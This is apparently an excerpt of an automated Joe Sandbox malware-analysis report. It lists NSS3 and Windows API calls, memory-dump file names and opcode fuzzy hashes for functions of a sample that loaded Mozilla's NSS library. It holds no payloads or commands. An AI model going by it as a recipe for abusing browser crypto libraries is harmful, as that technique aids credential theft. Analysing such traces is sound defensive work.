Part of subcall function 6BA9E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6BA9E245
Part of subcall function 6BA9E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6BA9E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6BA8895B
DER_GetInteger_Util.NSS3(?), ref: 6BA88973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA88982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6BA889EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6BA88A12

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 00f1a5daa57ed582710db0bbc54b1f9cf30c853a191322f72232dbb263c9af84
Instruction ID: 6cf34f532fb1ef035baab9dadd239534ae725c0617e3c49ca8ddb46116f78b5c
Opcode Fuzzy Hash: 00f1a5daa57ed582710db0bbc54b1f9cf30c853a191322f72232dbb263c9af84
Instruction Fuzzy Hash: 88315BB1E1460067FF206638AC4276E76999F91728F180775D919D7681FF2EC8C681D3

Function 6BA3AB70 Relevance: 12.1, APIs: 8, Instructions: 104pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32(?,?,?,00000000), ref: 6BA3ABAF
GetLastError.KERNEL32 ref: 6BA3AC44
PR_SetError.NSS3(FFFFE896,00000000), ref: 6BA3AC50

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_SetError.NSS3(FFFFE890,00000000), ref: 6BA3AC62
CloseHandle.KERNEL32(?), ref: 6BA3AC75
CloseHandle.KERNEL32(?), ref: 6BA3AC7A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$CloseHandle$CreateLastPipeValue
String ID:
API String ID: 4247729451-0
Opcode ID: 17555cb48856f8f20772d7827e71b63c22fab560930a1d8b91bec96fcb611367
Instruction ID: 2bce10bf20aa70d4c75483541391941eac82cb76b7594b573849dcd402619a28
Opcode Fuzzy Hash: 17555cb48856f8f20772d7827e71b63c22fab560930a1d8b91bec96fcb611367
Instruction Fuzzy Hash: C5319F74900224DFDF14DFA8C94596EBBF5FF4A304B298069E5099B360D736DC81CBA1

Function 6BB51B40 Relevance: 12.1, APIs: 8, Instructions: 99COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6BB51B50

Part of subcall function 6BB09BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6BA31A48), ref: 6BB09BB3
Part of subcall function 6BB09BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6BA31A48), ref: 6BB09BC8

PR_NotifyAllCondVar.NSS3(?), ref: 6BB51B75
PR_NotifyAllCondVar.NSS3(?), ref: 6BB51B80
PR_WaitCondVar.NSS3(?,000000FF), ref: 6BB51B93
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BB51BB0
PR_NotifyCondVar.NSS3(?), ref: 6BB51BFD
PR_Unlock.NSS3(?), ref: 6BB51C3E
PR_SetError.NSS3(FFFFE8D4,00000000), ref: 6BB51C54

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Cond$Notify$Error$CriticalEnterLockSectionUnlockValueWait
String ID:
API String ID: 3317306279-0
Opcode ID: 093149e79c917d013227c1ad344d57a1a6d65e4c71003f20a0f652b2130b8637
Instruction ID: 8457e8b4dbdeaf7c413dff8c514bec9a5df261f9bdcef608ae4b44c77c5e429b
Opcode Fuzzy Hash: 093149e79c917d013227c1ad344d57a1a6d65e4c71003f20a0f652b2130b8637
Instruction Fuzzy Hash: 6831F476A00655AFD710DF18D841A15F7F1FF15718B188268D89947B90E376F8B0CBC2

Function 6BA64BA0 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6BA6A6A2,?,?,00000000), ref: 6BA64BB9
EnterCriticalSection.KERNEL32 ref: 6BA64BD2
TlsGetValue.KERNEL32 ref: 6BA64BEF
EnterCriticalSection.KERNEL32 ref: 6BA64C08
PL_HashTableLookup.NSS3 ref: 6BA64C21
PR_Unlock.NSS3 ref: 6BA64C2E
PR_Now.NSS3 ref: 6BA64C3D
PR_Unlock.NSS3 ref: 6BA64C62

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: dbe1884c571066783ca2ab6f00d248c0a5ca44d2135dc51f242e58ff62f59519
Instruction ID: 0e22dbaa69eca26be4939f9898d23f160ef6059020552e248374958290e54152
Opcode Fuzzy Hash: dbe1884c571066783ca2ab6f00d248c0a5ca44d2135dc51f242e58ff62f59519
Instruction Fuzzy Hash: 643149B5904A149FCB10EF38C18546ABBF4FF49394B058A69EC99CB301EB34E891CBD1

Function 6BA64A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6BA65385,?,?,00000000), ref: 6BA64A29
EnterCriticalSection.KERNEL32 ref: 6BA64A42
TlsGetValue.KERNEL32 ref: 6BA64A5F
EnterCriticalSection.KERNEL32 ref: 6BA64A78
PL_HashTableLookup.NSS3 ref: 6BA64A91
PR_Unlock.NSS3 ref: 6BA64A9E
PR_Now.NSS3 ref: 6BA64AAD
PR_Unlock.NSS3 ref: 6BA64AD2

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: d062182637ac8b97ac1e11a0527844dbc54ddc49f610954f2dfc11a7e38dfb2d
Instruction ID: f180bdbd7079e7403dba38ec36bb33172ac41a82e0aa92ea8cc71f5f322a778f
Opcode Fuzzy Hash: d062182637ac8b97ac1e11a0527844dbc54ddc49f610954f2dfc11a7e38dfb2d
Instruction Fuzzy Hash: A23149B5904A149FCB10EF39C18546ABBF4FF49394B058A69EC99CB301EB34E891CBD1

Function 6BA29AC0 Relevance: 12.1, APIs: 8, Instructions: 76networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(?,00000017,6BA299BE), ref: 6BA29AE6
ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6BA299BE), ref: 6BA29AFC
WSAGetLastError.WSOCK32(?,00000017,6BA299BE), ref: 6BA29B26
WSAGetLastError.WSOCK32(00000000,8004667E,00000001,?,00000017,6BA299BE), ref: 6BA29B36
PR_SetError.NSS3(FFFFE896,00000000,00000000,8004667E,00000001,?,00000017,6BA299BE), ref: 6BA29B41
closesocket.WSOCK32(00000000,00000017,6BA299BE), ref: 6BA29B4A
#7.WSOCK32(00000000,0000FFFF,00001002,6BA299BE,00000017,00000000,8004667E,00000001,?,00000017,6BA299BE), ref: 6BA29B6D
#21.WSOCK32(00000000,0000FFFF,00001002,6BA299BE,00000017,00000000,0000FFFF,00001002,6BA299BE,00000017,00000000,8004667E,00000001,?,00000017), ref: 6BA29B92

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$Last$closesocketioctlsocketsocket
String ID:
API String ID: 312597714-0
Opcode ID: c59c85f12b7bcf0f82ff86ee86fa474c7d885cfe4adf82ba04eff6ba8307d7a1
Instruction ID: bb9876301e28cecbd4a3902eda2285dafa8acdb5d2f19e372167d1343dd14bb2
Opcode Fuzzy Hash: c59c85f12b7bcf0f82ff86ee86fa474c7d885cfe4adf82ba04eff6ba8307d7a1
Instruction Fuzzy Hash: 3021F075E00249AAEF209E798E02ABF776CDF46B18F080135F914A7181E77C999586E2

Function 6BA8F820 Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 6BA8AD50: free.MOZGLUE(8955CCCC,?,6BA5B1EE,2404110F,?,?), ref: 6BA8AD7C
Part of subcall function 6BA8AD50: free.MOZGLUE(565753E5,?,6BA5B1EE,2404110F,?,?), ref: 6BA8ADAB

free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6BA8F854
free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6BA8F868
DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6BA8F882
free.MOZGLUE(04C483FF,?,?), ref: 6BA8F889
DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6BA8F8A4
free.MOZGLUE(CCCCCCC3,?,?), ref: 6BA8F8AB
DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6BA8F8C9
free.MOZGLUE(280F10EC,?,?), ref: 6BA8F8D0

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 4d7dd80bd36bdce7a9db3e28af80083ce29e85057e8a0b977244aaf6d825dcea
Instruction ID: b56425e7c84f40a32583be9e30cdd5cdd496dfc58998ce06bc4ac3daeeb43b0c
Opcode Fuzzy Hash: 4d7dd80bd36bdce7a9db3e28af80083ce29e85057e8a0b977244aaf6d825dcea
Instruction Fuzzy Hash: 5F216DB1500A059BEF10EF65E949B6777B8BF4A701F44083CE51A87A01D73BF096CB95

Function 6BA43810 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PL_NewHashTable.NSS3(00000000,6BA9FE80,6BA9FD30,6BA9FD30,6BBA0544,00000000,?,?,6BA57645), ref: 6BA43829

Part of subcall function 6BA2ACC0: memset.VCRUNTIME140(00000000,00000000,00000004), ref: 6BA2AD48

PR_NewLock.NSS3(?,?,?,?,?,6BA57645), ref: 6BA4383A

Part of subcall function 6BB098D0: calloc.MOZGLUE(00000001,00000084,6BA30936,00000001,?,6BA3102C), ref: 6BB098E5

PL_NewHashTable.NSS3(00000000,6BA9FE80,6BA9FD30,6BA9FD30,6BBA0544,00000000,?,?,?,?,?,6BA57645), ref: 6BA4385D
PR_NewLock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6BA57645), ref: 6BA4386E

Part of subcall function 6BB098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6BB09946
Part of subcall function 6BB098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B9C16B7,00000000), ref: 6BB0994E
Part of subcall function 6BB098D0: free.MOZGLUE(00000000), ref: 6BB0995E

PL_HashTableDestroy.NSS3(?,?,?,?,?,?,?,?,?,?,?,6BA57645), ref: 6BA43882
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6BA57645), ref: 6BA4389B
PL_HashTableDestroy.NSS3(?,?,?,?,?,6BA57645), ref: 6BA438B4
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,6BA57645), ref: 6BA438C9

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: HashTable$Error$DestroyLock$CountCriticalInitializeLastSectionSpincallocfreememset
String ID:
API String ID: 3316637992-0
Opcode ID: 161a86c85889248a959573be3e836cd71b704fd375fb3b2ad505cd9be7bb27c1
Instruction ID: faba38e0b4e3a2b9527bb2431a3fbd03446688fa370c314b0b93cbca90e8a099
Opcode Fuzzy Hash: 161a86c85889248a959573be3e836cd71b704fd375fb3b2ad505cd9be7bb27c1
Instruction Fuzzy Hash: B7118EB0D501126EEF206EBAAC07F3B76CDDB1164CF540039A915E6241FA6FD98097B2

Function 6BA6F810 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PK11_DestroyContext.NSS3(?,00000001), ref: 6BA6F82E

Part of subcall function 6BA6CD80: free.MOZGLUE(?,6BA6D079,00000000,00000001), ref: 6BA6CDA5
Part of subcall function 6BA6CD80: PK11_FreeSymKey.NSS3(?,6BA6D079,00000000,00000001), ref: 6BA6CDB6
Part of subcall function 6BA6CD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6BA6D079,00000000,00000001), ref: 6BA6CDCF
Part of subcall function 6BA6CD80: DeleteCriticalSection.KERNEL32(?,6BA6D079,00000000,00000001), ref: 6BA6CDE2
Part of subcall function 6BA6CD80: free.MOZGLUE(?), ref: 6BA6CDE9

PK11_FreeSymKey.NSS3(?), ref: 6BA6F840
PK11_FreeSymKey.NSS3(?), ref: 6BA6F84B
PK11_FreeSymKey.NSS3(?), ref: 6BA6F856
PK11_FreeSymKey.NSS3(?), ref: 6BA6F861
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6BA6F870
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6BA6F87C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6BA6F888

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_$Free$Item_UtilZfree$free$ContextCriticalDeleteDestroySection
String ID:
API String ID: 1794285729-0
Opcode ID: 240a61e38adf6d4c3218cae3615c23b123cd9f3d5053240255596987e3efd2e7
Instruction ID: bab2f0a1953ee1873cd41468130588d2730e48e6375a76c193a55523e8925530
Opcode Fuzzy Hash: 240a61e38adf6d4c3218cae3615c23b123cd9f3d5053240255596987e3efd2e7
Instruction Fuzzy Hash: 7711C1B39107009BDB215F31FD42A17B7B6EF1025EB040639E84A92A20F736F9988691

Function 6BB50860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6BB57AE2,?,?,?,?,?,?,6BB5798A), ref: 6BB5086C

Part of subcall function 6BB50930: EnterCriticalSection.KERNEL32(?,00000000,?,6BB50C83), ref: 6BB5094F
Part of subcall function 6BB50930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6BB50C83), ref: 6BB50974
Part of subcall function 6BB50930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BB50983
Part of subcall function 6BB50930: _PR_MD_UNLOCK.NSS3(?,?,6BB50C83), ref: 6BB5099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6BB57AE2,?,?,?,?,?,?,6BB5798A), ref: 6BB5087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6BB57AE2,?,?,?,?,?,?,6BB5798A), ref: 6BB50892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB508AA
free.MOZGLUE(?,00000000,00000000,?,?,6BB57AE2,?,?,?,?,?,?,6BB5798A), ref: 6BB508C7
free.MOZGLUE(?,00000000,00000000,?,?,6BB57AE2,?,?,?,?,?,?,6BB5798A), ref: 6BB508E9
free.MOZGLUE(?,6BB57AE2,?,?,?,?,?,?,6BB5798A), ref: 6BB508EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6BB57AE2,?,?,?,?,?,?,6BB5798A), ref: 6BB5090E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 3fac60f503424dc8a7c5e7f3fddd327a2706c26366cb91b8b0c14d3e62ae4225
Instruction ID: 3bc1447dc52b1037d9dd0e5d249514aedc7205858ad0925c29aa27df54d2ef0f
Opcode Fuzzy Hash: 3fac60f503424dc8a7c5e7f3fddd327a2706c26366cb91b8b0c14d3e62ae4225
Instruction Fuzzy Hash: ED1160B6D012604BFF00AF6CD946BAE3758EB43A58F4D0164E91697241DA37E825CBD2

Function 6BB5B850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6BB57AF9,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB5B862
free.MOZGLUE(?,?,6BB57AF9,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB5B869
DeleteCriticalSection.KERNEL32(?,00000000,?,6BB57AF9,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB5B88A
free.MOZGLUE(?,?,6BB57AF9,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB5B891
DeleteCriticalSection.KERNEL32(6BB5798A), ref: 6BB5B8B9
free.MOZGLUE(?), ref: 6BB5B8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6BB57AF9,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB5B8E1
free.MOZGLUE(?,?,6BB57AF9,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB5B8E8

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 7af3a3773eb0aa7f986c6dc911a4dd5b05915d77cdb8556e0c7e1e3a44471901
Instruction ID: 32c13b309de2c2c7e26941dbd87380b100ed5b388ad20d201cbb253405c7d1a3
Opcode Fuzzy Hash: 7af3a3773eb0aa7f986c6dc911a4dd5b05915d77cdb8556e0c7e1e3a44471901
Instruction Fuzzy Hash: EB113CB2C02A249FDE20EFA1C4097AF3768FB0B710F044114E916A7600C337E55ACBD9

Function 6B9CBA00 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 222COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,40000000,40000000,?,?), ref: 6B9CBAE5
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0000E558,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6B9CBB9F
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0000E578,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,40000000,40000000,?,?), ref: 6B9CBC50

Strings

database corruption, xrefs: 6B9CBB93, 6B9CBC44
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6B9CBB89, 6B9CBC3A
%s at line %d of [%.10s], xrefs: 6B9CBB98, 6B9CBC49

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
